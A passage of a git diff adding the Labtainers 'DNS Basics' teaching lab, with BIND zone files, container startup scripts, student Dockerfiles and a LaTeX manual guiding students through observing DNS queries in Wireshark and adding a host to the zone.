not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/etc/rc.local b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/etc/rc.local new file mode 100755 index 000000000..28be42a35 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/etc/rc.local @@ -0,0 +1,5 @@ +#!/bin/bash +/usr/bin/set_default_gw.sh 192.0.0.101 +route del -host 172.17.0.1 + +echo "nameserver 192.0.0.101" > /etc/resolv.conf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/var/named/192.168.0.0 b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/var/named/192.168.0.0 new file mode 100755 index 000000000..b38041ea3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/var/named/192.168.0.0 @@ -0,0 +1,12 @@ +$TTL 3D +@ IN SOA ns.example.com. admin.example.com. ( + 2008111001 + 8H + 2H + 4W + 1D) + + IN NS ns.example.com. + +11 IN PTR ws1 +12 IN PTR ws2 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/var/named/example.com.zone b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/var/named/example.com.zone new file mode 100755 index 000000000..690e82b3f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dns/_system/var/named/example.com.zone @@ -0,0 +1,14 @@ +$TTL 3D +@ IN SOA ns.example.com. admin.example.com. ( + 2008111001 + 8H + 2H + 4W + 1D) + +@ IN NS ns.example.com. +@ IN MX 10 mail.example.com. + +ns IN A 192.168.0.3 +ws1 IN A 192.168.0.11 +ws2 IN A 192.168.0.12 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.dns.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.dns.student new file mode 100644 index 000000000..77138cc9d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.dns.student @@ -0,0 +1,66 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +#FROM mfthomps/labtainer.network +#FROM mfthomps/labtainer.centos +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends bind9 dnsutils +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + +RUN systemctl disable dnsmasq +RUN apt-get purge -y dnsmasq +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.gw.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.gw.student new file mode 100644 index 000000000..a1df8c1e2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.gw.student @@ -0,0 +1,63 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install -y --no-install-recommends ulogd +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.isp.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.isp.student new file mode 100644 index 000000000..ea2b8ea66 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.isp.student @@ -0,0 +1,73 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network2 +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here, e.g., +# RUN apt-get update && apt-get install -y --no-install-recommends somepackage +# +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.net-monitor.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.net-monitor.student new file mode 100644 index 000000000..e598f833b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.net-monitor.student @@ -0,0 +1,68 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.netmon +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here, e.g., +# RUN apt-get update && apt-get install -y --no-install-recommends somepackage +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.tap.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.tap.student new file mode 100644 index 000000000..257367199 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.tap.student @@ -0,0 +1,68 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.tap +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here, e.g., +# RUN apt-get update && apt-get install -y --no-install-recommends somepackage +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.ws1.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.ws1.student new file mode 100644 index 000000000..ea2b8ea66 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.ws1.student @@ -0,0 +1,73 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network2 +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here, e.g., +# RUN apt-get update && apt-get install -y --no-install-recommends somepackage +# +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.ws2.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.ws2.student new file mode 100644 index 000000000..ea2b8ea66 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.ws2.student @@ -0,0 +1,73 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network2 +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here, e.g., +# RUN apt-get update && apt-get install -y --no-install-recommends somepackage +# +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.ws3.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.ws3.student new file mode 100644 index 000000000..ea2b8ea66 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/dockerfiles/Dockerfile.dns.ws3.student @@ -0,0 +1,73 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network2 +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here, e.g., +# RUN apt-get update && apt-get install -y --no-install-recommends somepackage +# +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/Makefile new file mode 100644 index 000000000..a7ef832a1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/Makefile @@ -0,0 +1,7 @@ +dns.pdf: dns.tex header.tex + pdflatex -jobname=dns dns + pdflatex -jobname=dns dns + +clean: + rm -fr auto + rm -f *.aux *.log *.pdf *.dvi *.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/dns.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/dns.jpg new file mode 100644 index 000000000..e908f1236 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/dns.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/dns.odg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/dns.odg new file mode 100755 index 000000000..6fba9179f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/dns.odg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/dns.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/dns.pdf new file mode 100644 index 000000000..e7c282902 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/dns.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/dns.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/dns.tex new file mode 100644 index 000000000..46d416a37 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/dns/docs/dns.tex @@ -0,0 +1,190 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE DNS Basics} +\vspace{0.1in}\\ +\end{center} + +\section{Overview} +This exercise introduces some basic functions and protocol elements of the Internet's +Domain Name Service (DNS). The student will interact with an example enterprise having a local +DNS server and several computers. + +This exercise, (and manual), is not intended to replace instruction +or independent reading on DNS. + +Broadly, a DNS provides a mapping between IP addresses and computer names. DNS allows us to use +names such as ``google.com'' instead of remembering the IP address for google. Computers generate +\textit{queries} such as ``What is the IP address for google.com?'' and send them to the DNS. The DNS +generates a \textit{response} to the query, providing the requested information. If the DNS does not itself +manage the requested information, the DNS forwards the query to another DNS for resolution. + +This exercise is intended to provide +students with an environment with which they can observe +traffic generated by DNS queries and responses. + +This lab and its prerequisite knowlege provide background for other Labtainer networking exercises +including a lab on local DNS poisoning attacks. + +This lab exercises includes use of the Linux command line (shell), and Wireshark. + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer dns +\end{verbatim} +\noindent A link to this lab manual will be displayed. + +\section{Network Configuration} +The lab includes networked components as illustrated in figure \ref{fig:topology}. Note that all of +the IP addresses are local. +The DNS is configured to provide authoritative naming for devices within the domain called +\textit{example.com}. +In this topology, the DNS is only providing local naming and forwards any +non-local requests to the gateway. + + +\begin{figure}[H] +\begin{center} +\includegraphics [width=0.8\textwidth]{dns.jpg} +\end{center} +\caption{Network topology for the DNS lab} +\label{fig:topology} +\end{figure} + + +\section{Lab Tasks} +\subsection{Explore} +The DNS is configured to provide naming devices within {\tt example.com}. Initially, it is configured +to name {\tt ws1} and {\tt ws2}. And the {\tt ws1} and {\tt ws2} computers +are configured to use the DNS as their name server. The {\tt ws3} computer is not yet configured. Use the +{\tt ping} command see how you can use the names {\tt ws1} and {\tt ws2} in place of IP addresses. For +example, on {\tt ws1} type: +\begin{verbatim} + ping ws2 -c 2 +\end{verbatim} +\noindent Note that if you try to ping {\tt ws3}, if fails. However you can ping {\tt ws3} using its +IP address. + +You will update the DNS and {\tt ws3} later in this exercise. But first, we will review some of the DNS protocol. + +\subsection{View DNS traffic} +The lab environment includes a {\tt new-monitor} computer that captures all traffic on the local network. +It collects all network traffic into a file within its {\tt /taps} directory. Go to the terminal for the +{\tt net-monitor} computer and list the content of that directory to see that it is a PCAP file: +\begin{verbatim} + ls -l /taps +\end{verbatim} +\noindent You can start Wireshark and view that PCAP file as it is updated by using this command on the +{\tt network-monitor} component: +\begin{verbatim} + sharktap lan.pcap +\end{verbatim} +After Wireshark comes up, scroll backward and find the intitial DNS traffic. Note that this conversation +occurs between the local DNS and some external DNS, and is used by the local DNS for initialization. Scroll forward to the next DNS protocol conversation, which should be between the {\tt ws1} component and the DNS. + +Select the first packet of that exchange, i.e., the one from your {\tt ws1} component and then view the +details of the protocol as presented by Wireshark in the middle pane. Find the ``queries'' block and +view the query. Note how the query is asking for the IP address of \textit{ws2.example.com}, yet you only +provided the name {\tt ws2} to the ping command. So, where did the {\tt example.com} name come from? Within +this Linux system, that information is provided as the \textit{search} directive within the +{\tt /etc/resolv.conf} file on the computer that is issuing the DNS query. Go to {\tt ws1} and view that file: +\begin{verbatim} + cat /etc/resolv.conf +\end{verbatim} +\noindent That search directive tells the computer to tack the name {\tt example.com} onto names that do +not end with a domain suffix such as \textit{.com}, e.g., are just names like {\tt ws2}. Note the {\tt resolv.conf} file +also contains a \textit{nameserver} directive. This tells the computer the IP address of its DNS service. + +Note how there is a 2nd query from {\tt ws1} to the DNS. That is to retrieve and IPV6 address. Ignore that +for this lab. The next packet should be a response from the DNS to ws1. View its protocol elements. +Note how it repeats the query, but also has an \textit{answers} section. View that to see the response from +the DNS. The next packet is the DNS response to the IPV6 query, which can be ignored for this lab. + +\subsection{Missing names} +The {\tt ws3} computer is not yet defined in the DNS. Test this by trying to ping {\tt ws3} from {\tt ws1}: +\begin{verbatim} + ping ws3 -c 2 +\end{verbatim} +Find the reply from the DNS and note the respone flags indicates there is ``no such name''. +Note that {\tt ws1} then tries another query, this time asking for {\tt ws3} instead of {\tt ws3.example.com}. +Since this query is not for a name within the {\tt example.com} domain, the local DNS farms out the request +to another DNS via the gateway (192.168.0.101). That DNS responds with ``No such name''. + +\subsection{Missing DNS} +Go to {\tt ws3} and try to ping {\tt ws1}: +\begin{verbatim} + ping ws1 -c 2 +\end{verbatim} +\noindent Note the lack of traffic in Wireshark. The {\tt ws3} computer has no defined DNS, so it does not +know where to send a DNS query. Use {\tt vi} or {\tt nano} to edit the {\tt /etc/resolv.conf} file so that +it matches those in {\tt ws1} and {\tt ws2}. + +Then try pinging {\tt ws1} again. Now that {\tt ws3} has the address of its {\tt nameserver}, it can use +names instead of IP addresses. + +\subsection{Add missing name} +In this section, you will update the DNS so that it can provide the IP address of {\tt ws3}. +The DNS is provided by the \textit{bind9} service on the dns computer. Information about this service and +its configuration files can be found at \url{https://ubuntu.com/server/docs/service-domain-name-service-dns}. +This section refers to the primary files used to configure the DNS. + +The starting point is the {\tt /etc/named.conf} file\footnote{The word \textit{named} derives from +the fact that this service is sometimes referred to as the \textit{name daemon}}. View that file and note that it simply includes +three other files. The second file, {\tt named.conf.local} is where the local names are defined. +View that file. As you see, this DNS manages names defined in a single local file, {\tt example.conf}. +View that file. At last, a file that does not just include other files! This file includes to \textit{zone} +sections. The first defines how the DNS will respond to queries of names within the {\tt example.com} +domain, or {\tt zone}. The second entry defines a \textit{reverse name lookup}, which is another function of +the DNS via which a computer can query the name associated with an IP address, e.g., ``What is the name of +the device having IP address 192.168.0.1?''. + +View the file named in the first section, i.e., {\tt /var/named/example.com.zone}. The first set of lines +in that file reflect various configuration options for handing queries for the {\tt example.com} domain, +including things like timeout values. Toward the bottom of the file you will see entries that look like +a mapping of computer names to IP addresses. There are entries for {\tt ws1} and {\tt ws2}, but not one +for {\tt ws3}. Add one for {\tt ws3}. + +Then direct your attention to the second section of the {\tt example.conf} file, i.e., the reverse name +looking information. +Note the funny looking zone name: \textit{0.168.192.in-addr.arpa}, and how the first part of the name +includes the {\tt example.com} domain address, but in reverse. This indicates that if the first three +octets of an IP address match those three octets, then the remaining octet will name the computer. +View the named file, i.e., {\tt /var/named/192.168.0.0}. Observe how the last two entries identify the +last octet in the IP addresses of {\tt ws2} and {\tt ws3}. Add an entry for {\tt ws3}. + +\subsection{Apply and test DNS changes} +After modifying the DNS configuration files, the DNS service must be restarted: +\begin{verbatim} + sudo systemctl restart bind9 +\end{verbatim} + +\noindent Then try to ping {\tt ws3} from {\tt ws1}. You should be able to see the resulting DNS query +and response in Wireshark. + +\section{Quiz} +Go to the terminal on your Linux system that was used to start the lab and type: 